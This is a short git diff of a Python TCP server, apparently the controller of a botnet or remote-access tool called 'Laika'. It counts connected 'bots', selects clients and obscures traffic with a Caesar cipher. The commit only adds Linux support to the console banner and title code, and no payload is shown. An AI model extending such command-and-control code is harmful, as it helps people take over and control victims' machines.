marche sous linux maintenant

This commit is contained in:
ALittlePatate
2023-02-05 22:17:52 +01:00
parent 2b4e2bc775
commit 4179aab6d3

View File

@@ -6,7 +6,7 @@ import os, sys, time
import select
import socket
ADRESSE = '192.168.1.35'
ADRESSE = socket.gethostname()
PORT = 1337
CONNECT_CLIENTS = [] #liste des sockets ouverts
THREAD_LIST = [] #tout les threads
@@ -16,6 +16,10 @@ SELECTED_CLIENT = -1
serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serveur.bind((ADRESSE, PORT))
def is_linux_user() -> bool :
platform = sys.platform
return platform == "linux" or platform == "linux2"
def CAESAR(in_s: str) -> str :
r=""
for c in in_s :
@@ -35,6 +39,9 @@ def CAESAR_DECRYPT(in_s: str) -> str :
return r
def ban() :
if is_linux_user() :
os.system("clear")
else :
os.system("title Laika - 0 bots")
os.system("cls")
print(Fore.RED + " __ _ _ ")
@@ -72,6 +79,9 @@ def on_close_socket() -> None:
pass
def update_title() -> None :
if is_linux_user() :
return # marche pas encore, nsm linux
while True :
if SELECTED_CLIENT == -1 :
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots")